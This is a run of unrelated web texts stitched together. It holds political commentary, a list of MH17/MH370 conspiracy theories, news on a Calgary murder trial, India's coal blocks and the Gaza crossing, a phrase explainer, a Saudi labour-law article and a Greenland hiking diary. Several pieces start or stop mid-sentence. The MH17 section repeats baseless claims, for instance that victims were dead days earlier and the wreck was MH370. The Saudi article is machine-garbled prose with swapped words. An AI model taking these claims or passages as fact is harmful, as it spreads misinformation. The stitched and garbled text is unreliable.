signed as recently as April 17th. According to the Los Angeles Times, McCain spoke by phone with Georgian president Mikheil Saakashvili that day and then issued a statement denouncing Russian moves to "undermine Georgian's sovereignty." The paper also cites lobbying forms filed by Scheunamann's firm Orion indicating that McCain sponsored or co-sponsored four Senate resolutions on behalf of Georgia and other Orion clients: Latvia, Macedonia, Romania and Taiwan. The poor judgment McCain showed by appointing a man who was serving as a paid foreign agent to be his chief foreign policy adviser is simply breathtaking. It is even more so because of the history of the current conflict. There is more than appearance of conflict of interests. Before Georgia's President Saakashvili sent Georgian troops to reassert control in the semi-autonomous region of Ossetia, even the US State Department says it repeatedly warned him against precipitous action that might provoke a Russian response. He did it anyway. In other words, the government of the United States and Georgia had different agendas, different interests, and different policies with respect to the Ossetia conflict. Where were Scheunamann's loyalties? Did he represent the position of the government of the United States, or of his old client Saakashvili. Do the actions and statements of McCain represent his independent judgment of what is in the best interests of the United States, or the views of a top adviser who made just short of a million dollars representing a foreign power? What's more, if Scheunamann and McCain did encourage Saakashvili to send troops to Ossetia, it once again calls into question their simple strategic judgment. Saakashvili's action has been a disaster for the Georgian government that has lead to the rout of the small Georgian army, and increased the likelihood that he will ultimately be replaced by someone more acceptable to Russia. This is exactly the kind of poor strategic judgment that McCain and Scheunamann used to lead America into the War in Iraq. Americans don't want more of that kind of judgment. Odds are, the more we learn about the involvement of McCain and Scheunamann in the Georgia fiasco, the more that McCain's foreign policy judgment will be called into question. Many Republicans have prayed for a foreign policy crisis that could refocus voter attention on foreign affairs and away from the domestic economic disaster. Sometimes you should be careful what you wish for.New Delhi, Jul 27 (Mogul / Daily Bhaskar) : March 2014 : Malaysia Airlines MH370 mysteriously disappears. No traces of the plane, which authorities say crashed, have been found. July 2014: Malaysia Airlines MH17 shot down over Ukrainian skies. No survivors. When it was first revealed that Malaysia Airlines MH370 was missing, there was speculation that the flight was hijacked and would be used elsewhere. With the recent crash of another MH flight, there are theories which are too obvious. According to a report on Mogul, it's not only that the official MH17 story is filled with gaps, but there are also bizarre accounts and 'coincidences' that are impossible to ignore. DailyBhaskar brings you the EIGHT theories which will make one and all question if the recent MH17 which crashed was actually MH370 which is yet to found. 1. THE ALLEGED MH17 WAS THE SAME PLANE MODEL AS MH-370 2. DIFFERENT WINDOW CONFIGURATIONS THAN MH17 The plane wreckage shown in the propaganda pictures doesn't have the window configuration of MH17, whilst it matches the one of MH370. The obvious conclusion is that the wreckage found at the crash site of MH17, belongs to the 'lost' flight MH370. 3. MH17 VICTIMS: ROTTEN BODIES AND DRAINED OF BLOOD "It is being said that a Dutch doctor who was at the scene within a day has released testimony that the bodies on the plane were rotten and dead days before the crash, which would corroborate what the military commander said and that evidence is there that they were also tortured before the crash. However, the translation from Dutch is very poor and I am working on secondary confirmation." Jim Stone was quoted as saying by Mowgul. The aircraft allegedly shot down over Shaktarsk is a Boeing 777-200, ID number M9-MRD. 4. MH-17 PICTURE DOES NOT MATCH FACTS The picture allegedly posted by one of the MH17 passengers does not match the identification number of the flight. 5. RELEASED VIDEOS CREATED BEFORE MH17 CRASH While officials released the records of the rebels discussing the crashing of MH17, it is imperative to note that the time said to be on those records is actually before the plane was actually shot down. 6. FLIGHT RADAR SHOWED Flight MH17 CANCELLED Following the crash, the flight radar showed the Malaysia Airlines MH17 as cancelled. 7. INVALID PASSPORTS FOUND AT CRASH SITE All passports that been found have been found with no damage, which is practically impossible, considering the hit by a missile and the 33,000 feet fall. There are also passports which have been punched or clipped, which means that they are invalid making it impossible for the passengers to get past the airport protocol. 8. US BLAMING RUSSIA IS BASED ON SOCIAL MEDIA EVIDENCE The US State Department said that the evidence gathered by US officials was based on the social media proof. This statement came forward during a talk between an AP reporter and an official of the US State Department. The missing MH370 was also the same model, 777-200, but with a different ID number M9-MRO. There were also reports of a MH370 passenger putting up a picture just days after his plane disappeared. Tracking his phone, the locations were apparently marked in the US. Considering how US has been against Russia after the MH17 crash, conspiracy theories have labeled it as a political cover-up.At one fell swoop What's the meaning of the phrase 'At one fell swoop'? Suddenly; in a single action. What's the origin of the phrase 'At one fell swoop'? This is one of those phrases that we may have picked up early in our learning of the language and probably worked out its meaning from the context in which we heard it, without any clear understanding of what each word meant. Most native English speakers could say what it means but, if we look at it out of context, it doesn't appear to make a great deal of sense. That lack of understanding of the words in the phrase is undoubtedly the reason that this is often misspelled, for example, 'at one fail swoop', or even, with more justification as it might be thought to relate to birds, 'one fowl swoop'. It isn't difficult to also find examples of 'one foul swoop'. 'Stoop' is sometimes substituted for'swoop' in all of the above variants, again drawing on avian imagery. So, what's that 'fell'? We use the word in a variety of ways: to chop, as in fell a tree; a moorland or mountain, like those in the northern UK; the past tense of fall, as in 'he fell over'. None of those seems to make sense in this phrase and indeed the 'fell' here is none of those. It's an old word, in use by the 13th century, that's now fallen out of use other than in this phrase, and is the common root of the term 'felon'. The Oxford English Dictionary defines 'fell' as meaning 'fierce, savage; cruel, ruthless; dreadful, terrible', which is pretty unambiguous. Shakespeare either coined the phrase, or gave it circulation, in Macbeth, 1605: MACDUFF: [on hearing that his family and servants have all been killed] All my pretty ones? Did you say all? O hell-kite! All? What, all my pretty chickens and their dam At one fell swoop? The kite referred to is a hunting bird, like the Red Kite, which was common in England in Tudor times and is now making a welcome return after near extinction in the 20th century. The swoop (or stoop as is sometimes now said) is the rapid descent made by the bird when capturing prey. Shakespeare used the imagery of a hunting bird's 'fell swoop' to indicate the ruthless and deadly attack by Macbeth's agents. In the intervening years we have rather lost the original meaning and use it now to convey suddenness rather than savagery. See other phrases and sayings from Shakespeare. Other 'One' phrases:The families of Nathan O'Brien and his grandparents, Alvin and Kathy Liknes, say hearing the details of how their loved ones died during the trial of the man accused of killing the three family members has been very difficult. "The last five weeks have taken a heavy toll on us," family members said in a written statement released Monday. "It has been unbearable for our family and friends to endure the gruesome details that have been presented throughout the trial." Douglas Garland, 57, is charged with three counts of first-degree murder in the deaths of five-year-old Nathan and his grandparents, Alvin, 66, and Kathy Liknes, 53, of Calgary. "Nothing will bring Nathan, Alvin and Kathy back to us, but we can only hope the court will see justice done in their names," reads the statement. Crown lawyers Shane Parker and Vicki Faulkner, as well as defence lawyers Kim Ross and Jim Lutz made closing arguments to the jury on Monday. Douglas Garland was found guilty of three counts of first-degree murder Thursday in the deaths of Kathy Liknes and Nathan O'Brien, left, and Alvin Liknes, right, in June 2014. (Calgary Police Service) Jurors had heard earlier in the trial that Garland was angry at Alvin Liknes over a business relationship formed and broken years earlier. "[Nathan] had not even been born yet when Alvin and Garland had a falling out," Parker said Monday. "He neither forgave nor forgot. He stewed. "You cannot leave a witness; once Nathan witnessed the attack of Kathy in the front bedroom, he had to be killed." Defence lawyer Ross reminded jurors there was no evidence presented that his client was ever inside the Liknes home. "Not a single piece of DNA," said Ross. "Not one drop of blood, no saliva, not one strand of hair, no skin." Garland is entitled to the presumption of innocence, Ross said. "It is our submission … that the Crown has failed to prove Douglas Garland caused the death of Alvin Liknes, Kathryn Liknes and Nathan O'Brien," said Ross. The defence team did not call any witnesses to testify. 'They were always going to die by his hand' For Garland, the killings were all about domination, Parker said earlier in the day. He told the jury there is no doubt that Garland murdered all three family members. He said Garland was researching the Likneses and methods of killing on his computer starting in 2013, but when he learned the couple planned to move away he decided to take action, said Parker. Internet searches found on a hard drive that had been hidden in the farmhouse where Garland lived with his parents showed be planned to break into the home of the man he hated, according to the Crown. The plan "intensified" in March 2014 with dozens of searches and documents stored on the drive. Things like "How to Kill Without Joy," research on weapons, torture, the Likneses, their address and how to pick the exact lock that was found tampered with on their side door. "They were always going to die by his hand," said Parker. "All phases of capture and death were planned and researched from beginning to end." Nathan wound up having an impromptu sleepover with his grandparents on the night of June 29, 2014. Surveillance video gathered from area homes and businesses show an older model green pickup truck, just like the one Garland drove, parked on the Liknes's street in the early hours of June 30. After about 90 minutes, the truck was seen driving off with a large white object inside the truck bed — the Crown claims that it was the boy and his grandparents. The photo on the left shows what the Crown says are three bodies covered by something white in the bed of Douglas Garland's pickup truck around 5:15 a.m. on June 30, 2014. Two hours later, the truck was spotted again, but it was empty. (Court exhibit) "This was the transport truck," said Parker. "Nathan, Kathy and Alvin in these photos, are prisoners, being held against their will." But the white item visible in surveillance footage gathered from homes and businesses is not covering the three victims, according to the defence. "It's a fact; there are no bodies in that truck," said Ross. "Those people did not leave that house alive." 'Nathan was alive outside the bedroom' The truck was spotted on CCTV footage again later in the morning, driving from the Airdrie area back to the Liknes's street where it rolled past the bloodied home and continued to 37th Street and 11th Avenue S.W. — the location where Garland had an appointment with a psychiatrist every Monday morning. Less than two hours later, Jennifer O'Brien arrived at her parents' home to find the trio gone and the house covered in blood. A small handprint formed from a mix of Nathan and his grandmother's blood was just two feet from the floor. "Little Nathan was alive outside the bedroom," said Parker. The Crown contends that the family members were killed on the farm, but the defence said they were killed inside the Liknes home, in a "very violent and fatal struggle," said Ross. A portrait of the O'Brien family from Rod O'Brien's Facebook page. Nathan, second from right, hugs his older brother. (Facebook) In what the Crown has called a "dumb luck," a mapping plane flew over the Garland farm on July 1 and took aerial photos of what appears to be two adult bodies laid out on the property near three sheds. A smaller, less clear figure is next to them. "It's a devastating image," said Parker, while showing jurors the photo once again. "This is as close as you get to an autopsy photo in this case... These were living and breathing people; grandparents, a five-year-old with wonderful parents." This is the area on the Garland farm where the Crown says three bodies could be seen in photos taken by an aerial survey company. (Court exhibit) Two weeks after the search for Nathan and his grandparents began, it ended when Garland was arrested and charged with three counts of murder. Parker also went over key evidence presented by the prosecution during the trial: DNA from all three victims was found on the Garland farm, including on items the accused had recently purchased like a hacksaw and meat hook. A small piece of human remains belonging to Kathy Liknes was found in the grass on the farm. A fragment of Alvin Liknes's remains was found in ashes on the Garland property. Kathy Liknes's DNA was found in Garland's truck. Alvin Liknes's DNA was found on a shoe Garland was wearing at the time of his arrest. The case will go to the jury on Wednesday afternoon after Court of Queen's Bench Justice David Gates delivers his final instructions. Jurors will then be sequestered until a verdict is reached. In the statement issued by the victims' families Monday, they thanked the jurors. A sentiment echoed by Parker at the end of his submissions. "You are faced with an awesome responsibility; the evidence in this case has been hard to hear, I'm sure of it," he said. "Follow the law, follow the evidence. Don't outsmart your common sense." See the latest updates in live tweets from CBC reporters in the courtroom. On mobile? Click here to see the live blog.With Donald Trump garnering much of the political media's attention in recent weeks, the rest of the declared and undeclared potential GOP presidential candidates may be feeling some pangs of frustration. The Donald has dominated every network and cable channel the last few days with his road show, complete with noteworthy quotes, such as, "I know many people at the White House, and one in particular, and the last person he wants to run against is Donald Trump, that I can tell you." But none of those contemplating or actually in the hunt for the Republican nomination appears to be as frustrated as Sarah Palin's camp. On Monday night, one of Palin's chief aides and defenders, Rebecca Mansour, sent out a series of tweets to the major mainstream news outlets -- what Palin calls the "lamestream media" -- asking why the former Alaska governor's speech at a Tea Party event in Madison, Wis. wasn't covered. Mansour tweeted to CBS News: "I know no one watches you, but how come you didn't really cover @SarahPalinUSA's Madison speech? What gives? @jjmnolte" (Jim Nolte is the editor of Andrew Breitbart's Big Hollywood site). This series of tweets seemed odd given Palin's strident disdain for the mainstream media and reluctance to appear on any network other than Fox, where she is a paid contributor. "Let's be encouraged with a sense of poetic justice by knowing that the'mainstream' media isn't mainstream anymore," she wrote last month. "That's why I call it 'lamestream,' and the LSM is becoming quite irrelevant, as it is no longer the sole gatekeeper of information." Mansour explained her motive in tweet-complaining to what Palin calls an "irrelevant" mainstream media to Slate's Dave Weigel. "Just to be clear: I wasn't demanding media attention, I was mocking the media about which Palin stories they choose to cover," she wrote in a tweet. For the record, CBS News did post a story and video package on Palin's April 16 speech in Madison--Labor crowd surrounds Palin's Tea Party rally--on the same day she delivered her remarks.Four coal blocks run by the central government agencies have been spared the axe. Four coal blocks run by the central government agencies have been spared the axe. The Supreme Court on Wednesday cancelled 214 of the 218 coal blocks allocated by the successive governments since 1993 and gave the companies awarded coal licences six months to wind up their operations. Four blocks run by the central government agencies have been spared the axe. "214 coal block allocations have been cancelled. Four coal blocks remain, two of which belong to Steel Authority of India and the National Thermal Power Corporation," Attorney General Mukul Rohatgi said. "The Supreme Court has said that the government can auction all cancelled blocks at the end of six months in March, 2015," Rohatgi said. "The Supreme Court has also asked the companies running the coal blocks for the next months to pay Rs 295 per tonne of coal they extract. They also have to pay the same amount per tonne for the coal they have already extracted from the blocks," senior Supreme Court lawyer Prashant Bhushan said. In a landmark verdict last month, the apex court had said that licences to the blocks were illegal and arbitrary, and a transparent process for their bids was not followed. "?the entire allocation of coal block as per recommendations made by the Screening Committee from July 14, 1993 in 36 meetings and the allocation through the government dispensation route suffers from the vice of arbitrariness and legal flaws. The Screening Committee has never been consistent, it has not been transparent, there is no proper application of mind, it has acted on no material in many cases, relevant factors have seldom been its guiding factors, there was no transparency and guidelines have seldom guided it," a bench headed by Chief Justice RM Lodha had said in its 163-page verdict. The allocation of the coal blocks to various companies had been at the centre of what has come to be known as the Coalgate scandal, said to cost the exchequer Rs 1.86 lakh crore according to a 2012 audit report. The CBI, which is investigating the multi-crore scam, has alleged that for several years, mining licences were given arbitrarily to private companies without a transparent bidding process. The Congress faced a huge embarrassment during the UPA II regime with investigation into coal scam directly implicating the office of Prime Minister Manmohan Singh, who briefly held the coal portfolio.GAZA, October 25, 2017 (WAFA) – A 12-person European delegation arrived on Wednesday in the Gaza Strip through Erez/Beit Hanoun crossing with Israel to checkup Rafah border crossing with Egypt. The visit comes in coordination with the Palestinian government in preparation for its takeover of the terminal following the Fatah-Hamas reconciliation agreement. The Gaza Strip and Rafah crossing have been controlled by Hamas since its takeover of the Gaza Strip in July 2007. However, following the signing of the reconciliation agreement in Cairo on October 12 between Fatah and Hamas, the latter agreed to turn over control of Gaza to the Palestinian government headed by Rami Hamdallah. It also agreed to hand over the Rafah crossing, the main exit port for Gaza’s two million population, to the Palestinian government, which will run it along with Egypt and under European Union (EU) supervision. EU personnel are expected to monitor movement of Palestinians at the crossing. Egypt opens the crossing for few days every three or four months, making travel of Gazans almost impossible. However, once the government takes it over and the EU monitors are present there, the crossing is expected to be open continuously. K.T./M.K.Ethan Field and Ron Campbell found a vintage camera near the Eagle Creek Trail in the Columbia River Gorge. Two Hood River hikers made an improbable discovery while trekking in the Columbia Gorge last week. Ethan Field and Ron Campbell were off-trail, wading through Eagle Creek when they saw a piece of reflective metal. "I was cold and I was leaning over trying to catch my breath," Field remembered. "I looked down and there was a metal corner of something sticking out." At first glance, Field thought it was a flask. "When I pulled it out, I said what is this?" he said to his friend. "How did we find a camera?" Field captured the moment on his GoPro camera. "Look what I just found. Awesome!" Field meticulously cleaned the camera. He put on gloves and a mask and started chipping away at the mud, mold, moss and metal. "The corrosion is indefinite," he said. "There's a lot." Turns out the camera is called an Exakta, an East German product. It's considered by photographers as a pioneer camera company. The camera appears to be more than 50-years old. Field and Campbell had a tough time finding the exact model. "Why is there no sign of this?" he questioned. "Is it custom-made? Was it may be the first one they ever made and someone was secretly hiding it? I just don't know. That's what drives us every day to figure it out." As for the film, they hope it can be salvaged. The camera back had a small crack, but they say they found the camera down along the riverbank. Field says this Exakta camera is left-hand operated. The film is contained on the left side, away from the crack, and the film was still intact. "Even if we don't get anything out of it, I at least want to say that we tried," he said. "If we didn't try it, then what's the point." Field is sending the film to a Portland shop. He says the technician will try to reverse the chemistry of how the film is processed. "It might just completely ruin it, but it's the only option we have." Field and Campbell say they are not worried about the value of the camera, they want to see if the film can be developed. Theories started circulating after the pair posted a picture of their find to Instagram, a popular social media application. Could it show a picture of Sasquatch? A really old photo of Punchbowl Falls? Or the Columbia River Gorge before Interstate-84 was built? "You never know," Campbell said. "This is like living history. Who knows with this thing has been through." Follow KATU News for updates on this story. We will let you know if the pictures can be developed. For more on this story, you can follow Ethan Field on Instagram @TheFieldProjects and Ron Campbell @EmergingEye.The brand new legislation safeguards service personnel and motorists but additionally punishes them for breaking their contracts. Saudi Arabia has transpired an historic new law safeguarding the privileges of domestic employees within the Kingdom, in addition to their companies. The Council of Ministers approved the brand new privileges that will allow every worker nine hrs of spare time each day, eventually off per week and something-month compensated vacation every 2 yrs. You will find about 2 million employees in Saudi Arabia filling domestic positions for example service personnel and motorists. The brand new law, that has been bashed out over many years of dispute between your Kingdom and work conveying nations - namely from South Asia and Africa - includes medical leave while probationary periods can last three several weeks. “The law is aimed at controlling relationship between domestic help as well as their companies while explaining their privileges and responsibilities and punishment for violators of car loan terms,Inches stated Labor Minister Adel Fakeih, Arab News reported. The brand new law states employees must respect the teachings of Islam and also the Kingdom’s rules and rules and execute their responsibilities ‘perfectly’. Employees may also be likely to ‘obey the business and the family people and safeguard their home and cannot harm children or seniors people.’ They're also likely to preserve family secrets. The legislation also states “the worker won't have the authority to reject a piece or leave the task with no genuine reason.” Backwards, what the law states prohibits companies from asking a staff to complete any job outdoors of the contract or which might be dangerous for their health. A company could be penalized 2,000 riyals and banned from prospecting futher domestic help for any year if they're present in breach of the contract. Further incriminations through the employer lead to elevated fines having a third breach costing 10,000 riyals along with a lifetime prohibit on prospecting domestic help. Companies will also be needed to pay for the worker’s salary in the finish of each and every month immediately, provide accommodation and finish-of-service benefits after 4 years. Employees breaking their contracts is going to be penalized 2,000 riyals and banned from working in the Country. They can also get to cover their very own repatriation costs. “This is an extremely important law that will solve many domestic help-related problems we're facing today,” stated Dr. Mohammed Badahdah, assistant secretary-general around the globe Set up of Muslim Youth, talking with Arab News. “The law has clearly pointed out the responsibilities and privileges of both sides. We as Muslims also needs to stick to the teachings of Prophet Muhammad on how to approach such servants.”Legal Officers Section International Assn. of Chiefs of Police 2000 Conference materialsLegal Officers SectionInternational Assn. of Chiefs of Police Back to List of Conference Papers FACTS REVEALED POLICE CODE OF SILENCEFACTS REVEALED Legal Officers Section Annual Conference International Association of Chiefs of Police By Neal Trautman Director The National Institute of Ethics The National Institute of Ethics has concluded the most extensive research ever conducted on the police Code of Silence. Between February, 1999 and June, 2000, 3,714 officers and academy recruits from forty-two different states were asked to participate in the study by the Institute. One aspect of the research determined the views of academy recruits, while the other identified officers who had taken part in the code, then asked why
long and tough. The mountain pass was existing of large abrasive belts of granite with snow in between were a few melt puddles gave me an easy access to water. Once more impressive peaks came into view at the other side of the mountain pass. Descending here looked steep but easier than over the other mountain pass since the snowfields would make things easier over here. The southern side of the other mountain pass looked more difficult due to a lot of boulders and moraines. But it was too late now to continue with going down. I studied the clouds to get an idea about the upcoming weather. It looked to deteriorate again so I definitely was in need for a descent bivouac spot. But were to pitch my tarp up here on this aerie place? How hard I looked, there was no possibility to make a comfortable bivouac up here on the mountain pass, let alone to pitch the tarp. After some time I found a relatively flat rocky spot further down in the couloir. With using a pile of rocks, I was able to pitch the tarp tightly enough here for a quite and restful night. It’s amazing what you can do with such a small tarp on such a wild and rocky place. It was raining pretty moderately when I went to sleep but the night remained peaceful indeed under the tarp. Bivouac on the rocks in the couloir under the mountain pass. Day 18. After the rain of the night the weather was improving again during daytime. I descended the mountain pass on its west flank, most of the time rather steep over snowfields. Down below after passing the moraine of the nearby glacier and some low growing shrub near sea level, I reached Stordalens Havn, a shallow bay extending northwest from the strait Aappilattup Avanna. It was close to low tide. The salt water rapidly withdrew out of the bay and a vast plain of dark and wet clay appeared with a braided stream of white glacial water in the middle searching its way to the sea. Beyond all this, the impressive peaks of Alleruusakasit towering into the sky next to the strait. Man, what a view! After lunch I continued my way along the shore in eastern direction towards the Inuit village Aappilattoq, accompanied by encircling mosquitoes. The terrain quickly became more difficult again. Despite the low tide I couldn’t really profit from the pebble beaches. They were mostly overgrown with slippery kelp vegetation and from time to time the beach was made up of a succession of boulders. So I mostly hiked over the steep tundra slope a bit higher above the sea level. But one thing was really amazing. The view I had over the water onto the island Pamialluk and the mountains of Alleruusakasit remained indescribable, beautiful. Walking on belts of rock in the direction of the very isolated Inuit village of Aappilattoq above the initially low cliff coast above the strait of Aappilattup Avanna with the island Pamialluk at the other side. There I started to realize that the chance of reaching Aappilattoq was very small. About 1km further the mountains fell over a high vertical cliff coast into the sea. I continued for a long time along the shore until something alarming appeared before my eyes. The shore abruptly changed into high cliffs over there. It looked impossible to pass beyond those cliffs. The Inuit village was located behind. On the map there seemed to be a passage just at sea level below the cliffs. A black hiking route (black means extremely hard on the map) was drawn on my map, exactly passing over this passage under the cliffs just along the coast. Despite what I saw visually with my eyes, I continued anyway until I reached the rock face of the cliffs. At the cliffs, no possibility to go any further. No, there was absolutely no way to continue pass along these cliffs. The rock face fell vertically into the sea. No signs of a passage down below at sea level. The drawings on the map were a fantasy! I was stuck. I was angry too, angry with the map maker. What to do now? I decided to search for a bivouac spot by returning a bit and climbing higher, away from the sea. But by climbing higher I suddenly discovered a sloping ledge in the cliff face. Curious I was, I couldn’t resist to climb to this ledge, seeing were it would lead to. The ledge was only one to maximum two meters wide with a overhanging rock face above which made crawling on my hands and knees mandatory for most of the time to keep continuing. I was now already more than 200m above sea level. What was I doing here? Just on the right side below me the steep and almost vertical rock face fell down straight into the sea, lying there more than 200m below. Luckily I didn’t got any fear of the heights. I climbed and climbed higher through the ledge. It sometimes looked like a tunnel. There seemed no end in sight. Where would this arrive? Was the ledge going to cease? While passing through the ledge in the cliff face high above the Strait Aappilattup Avanna with the Island Pamialluk on the other side. I don’t remember how long it was but after a long time I suddenly arrived almost on top of the cliffs, around 300m above sea level. The ledge opened itself up into a wider slope with boulders over which I continued climbing. Suddenly I was there, standing on top of the cliffs with a wide panoramic view over the further course of the icy strait with the mountains on the islands near Cape Farvel in the distance. I was laughing. It looked like a dream but it wasn’t. It was real! I really had climbed through the cliff face and reached a heavenly place. Evening above Aappilattup Avanna with a view on the mountains around Cape Farvel. Evening above Aappilattup Avanna covered with field ice and with a view on the impressive mountains rising with there feet from sea level in the strait Torsukattak all up into the clouds. Field ice drifting through Aappilattup Avanna. I immediately returned through the ledge. I had left my backpack behind and I still was in need to search for water. Down the ledge I recovered my backpack and found water by filling my platypus with melting water dripping from a large block of snow lying at the feet of the cliffs. Then I climbed again through the ledge to the top of the cliffs, this time more challenging with the backpack on my back. Once arrived on top I finally took the time to admire the views. The sun was descending to the horizon. It was getting dark when I pitched the tarp on the tundra slope between the rocks, just a few meters from the abyss with the sea below. From under the tarp I could admire the ice drifting through the strait in the deeps. It felt like the most amazing moment of the trip had come, but this peak moment turned out more spectacular than I ever had been dreaming about. The evening and night was cloudy but the weather remained nice and I slept like a rose. Morning at the edge of the cliffs above Aappilattup Avanna. Aappilattoq was now only 5km away. The Inuit village wasn’t yet visible from my bivouac spot. The next morning I decided to leave the Inuit village for what it was. The route towards the village seemed too crazy and in the distance a steep slippery rock face was discernable and looked impossible to pass. I decided to leave my tarp pitched on the slope and to make a day hike higher into the mountains in search for even more spectacular views. This way I arrived on a mind blowing spot on the shoulder of peak 1302m south of Issuttussoq. The landscape which was lying at my feet over there must have been the most rugged but also the most beautiful mountain view I have ever seen in my life! This was heaven on earth. I can’t find the right words to describe this place. It was so special that I made the decision to return to the tarp, break up and climb back to pitch my tarp on top of the shoulder. The ground was rocky but it seemed possible to make another incredible bivouac, even more spectacular than the night before. And so I did. In the later afternoon I pitched my tarp on the mountain shoulder and remained admiring the place, the peaks, the ice drifting deep below and the view into the valley Itillersuaq through which I planned to continue tomorrow. This must be heaven on earth. Bivouac on top of the mountain ridge above Aappilattup Avanna with an overwhelming view on the mountain peaks in the south. After a good nights sleep and a wonderful morning with nice alpenglow on the peaks, I broke up the tarp again and descended to the strait by passing again through the ledge in the cliff face. Then I returned to Stordalens Havn over the difficult sections along the shore. The bay was now under water as it was near high tide. I hold the midday lunch at the mouth of the nameless river running east through Itillersuaq valley. The amount of mosquitoes was unbearable this time so I sprayed DEET on my arms. After lunch I walked further west through Itillersuaq, a wide tundra valley with phenomenal peaks towering above the valley along both sides with hanging glaciers on the north walls of the Alleruusakasit peaks. The end moraines of the glaciers reach the middle of the valley with a few of the glaciers itself still reaching the bottom of the valley. For a moment, another pair of Greenlandic white tailed eagles came circling loudly above my head. The bay of Stordalens Havn at high tide, a totally different sight than two days before when I passed the bay at low tide. The bay is only about 2m deep at high tide. View into a side valley at the swamp near the saddle in Itillersuaq valley. When I just passed the swampy saddle deeper in the valley, I encountered the nice meandering Sisoorartut Kuua river with crystal clear waters and many small fish shooting away with my presence. The river drained a deep side valley. The mountain slope on the corner of this side valley and the Itillersuaq valley seemed to offer a nice bivouac spot. So I waded the stream and climbed the mountain slope till I reached a point at 550m just under the wall of a boulder moraine. Here I pitched the tarp on the mountain slope with again an unbearable horde of mosquitoes buzzing around my head. My camp site was again well chosen. The meandering river down below and the north faces on the opposite site of the valley made the picture complete. There was still time to climb higher on the slope for even better views that evening, so I climbed towards the summit of the nearby unnamed peak 1102m over its south ridge. The ascent became technical and difficult the higher I approached the summit. I stranded 40m below the summit. Narrow and steep sloping rock slabs prevented I save passage to the summit without proper equipment. But I didn’t mind not reaching the summit. The views were once more spectacular. The Atlantic was now visible over the mountains in the southwest and the southern part of Tasermiut fjord too. To my surprise, the fjord was all white! The southerly winds of the last few days had been stowed the ice from the Atlantic into the fjord. The fjord was now completely filled with field ice, here and there enclosed with larger ice bergs. Tasiusaq must have been shut off from the outside world, the Inuit unable to go out fishing. Looking back to the saddle in Itillersuaq valley with the Alleruusakasit peaks behind. Bivouac at the slope under Peak 1102m above Itillersuaq valley. I awaited the sunset until descending again to the tarp. The day after I continued west through the valley along the river till a narrow point in the valley. Here I climbed northward over the valley slope, crossed a wild river coming from a big lake higher in the mountains, till I reached a terrace above the valley. Here I found a perfect bivouac spot with again a nice view over Itillersuaq. The meanders of Sisoorartut Kuua river. Evening glow on the north faces above Itillersuaq. Once more I repeated yesterday by climbing unnamed peak 1410m west of Putooruttoq (1519m). This mountain turned out easier to climb than the peak of yesterday but the route to its summit was long and remained strenuous by climbing over rocks and smaller boulders all the way to the summit. Hours later I arrived on the flat summit were a large stone man was built. The mountain seemed to be a perfect destination from Tasiusaq and seemed to be climbed a few times each year. I remained admiring the views from the summit for hours till the sun touched the horizon in the northwest. Should I tell you again how much captivated I was by the views? I could see the ocean, almost the entire length of Tasermiut fjord, still filled with a lot of ice, the peaks of Ketil, Ulamertorsuaq along which I walked many days before and with in the distance the ice cap with so many more countless peaks and towers in almost all directions. It was one o’clock in the night when I reached the tarp again under a blue sky just dark enough for the most vibrant stars to shine. Again an incredible day with nice weather came to an end. Next bivouac on the edge of a terrace above Itillersuaq. The southern part of Tasermiut fjord and the Atlantic Ocean from Peak 1410m. The Atlantic Ocean covered with field ice, icebergs and the Angissoq islands. Ketil and Ulamertorsuaq with the interior ice cap behind seen from peak 1410m in the evening light. The sun was risen already high above the horizon when I woke up the next morning. A rough passage northward through rugged mountains, passing a high mountain pass was on the menu today to reach Tasersuaq again. My progression became immediately slow as the terrain consisted only of rocks and boulders when I passed the nameless big high mountain lake. It took me almost two hours to pass the 1.5km long northern shore of the lake. Higher in the rocky mountain valley I encountered more and more snow and moraines, passed several more smaller mountain lakes of which the higher ones turned out to be still completely frozen. I reached the 850m high mountain pass in a world were black and white were the only colors. A steep hanging glacier fell down into the second highest mountain lake, the glacier front vomiting icebergs into the lake. Slowly struggling further over the boulders next to a large mountain lake (525m) towards the mountain pass hidden behind the mountain ridge in the center of the picture. On the other side of the mountain pass a narrow steep descending valley gave way to the eastern shore of Tasersuaq with lovely Qinnguadalen beyond. I walked down on crampons and ice axe in hand, most of the time over snow and along waterfalls. A lot lower the terrain became more friendly and the snow disappeared. I continued till the upper edge of the mountain birch forest surrounding the lower slopes around Tasersuaq. The weather had become dull during the day. It was overcast with a strong northeasterly wind but it didn’t rain. I pitched the tarp on a small open tundra spot between the dwarf birches. I was tired. Today had been a very tough day. I was running out of food too. I had been eating breakfast muesli all day since my tour bread was all eaten. If I wouldn’t reach Tasiusaq tomorrow I will risk too run out of food for one day before reaching the Inuit village. Tasiusaq was 17km in birds flight from my bivouac spot and seen the hard bushwhacking terrain around Tasersuaq, I was not that sure I could reach the village in one more day. I didn’t want to think much about it, it didn’t make much sense too. So I immediately went to sleep to be in good shape again for the tough day of tomorrow. The Qinngua river in lovely Qinnguadalen. But I couldn’t find a good nights sleep. The night was too hot. I kept my sleeping bag open like a blanket over my body. This was still too warm. I still felt tired the next morning. To continue westward along the southern shore of Tasersuaq, there are two possibilities according to the map. One is to follow the shore of the lake just at water level, passing under the very steep slopes of a mountain ridge extending northward from the massif of Putooruttoq into the lake. This option is indicated as a black dotted line on the map, meaning this route would be extremely difficult. I had found one short report on the internet of a fellow which had walked here and stated that he had no other choice than to wade through the lake hip deep to be able to pass under the cliff face. So this route didn’t sound lake a fluent route at all to me. So I chose the second option which climbed to a mountain pass in the mountain shoulder. This route was colored in red on the map which meant only a normally hard route but since the route through Qinnguadalen and Tupassaat which I took a weak earlier were also colored in red while these routes were just the hardest I met on the entire trip, I wasn’t that sure anymore about the hiking routes drawn on the map. The map is a disgrace, that was very clear to me. Looking back over Tasersuaq while climbing through the thickets to a mountain pass above the lake. The result after one hour of bushwhacking and I didn’t reach the mountain pass yet. So I bushwhacked my way through the dwarf birches and willows towards the mountain pass, slowly gaining altitude above Tasersuaq. It took me a long time to reach the pass where strong easterly winds made me decide to forget about a longer stay on the pass. On the other side of the pass I had to walk down again to the shore of the lake. But I was not happy with what I saw here. A forest of polar willows and birch growing higher than mans eye completely covered the mountain slope again. This was going to be very hard. The first half of the slope was very steep, 45° and even steeper and all overgrown with willow shrub. But the hell really broke loose halfway. The terrain became less steep but the birch forest with small groups of willows in between grew 3 to 4m high. I pushed myself through the thickets. Boulders were embedded in the forest with small river gorges in between. This was the most difficult bushwhacking I ever encountered in my life. I was happy when finally arrived at the shore of the lake but that modest moment of joy became rapidly interrupted as I continued my way along the shore. The terrain didn’t became more friendly at all. I ended up jumping from stone to stone in the lake. This way I was at least released from the bushwhacking. But in fact not completely as the boulders which made 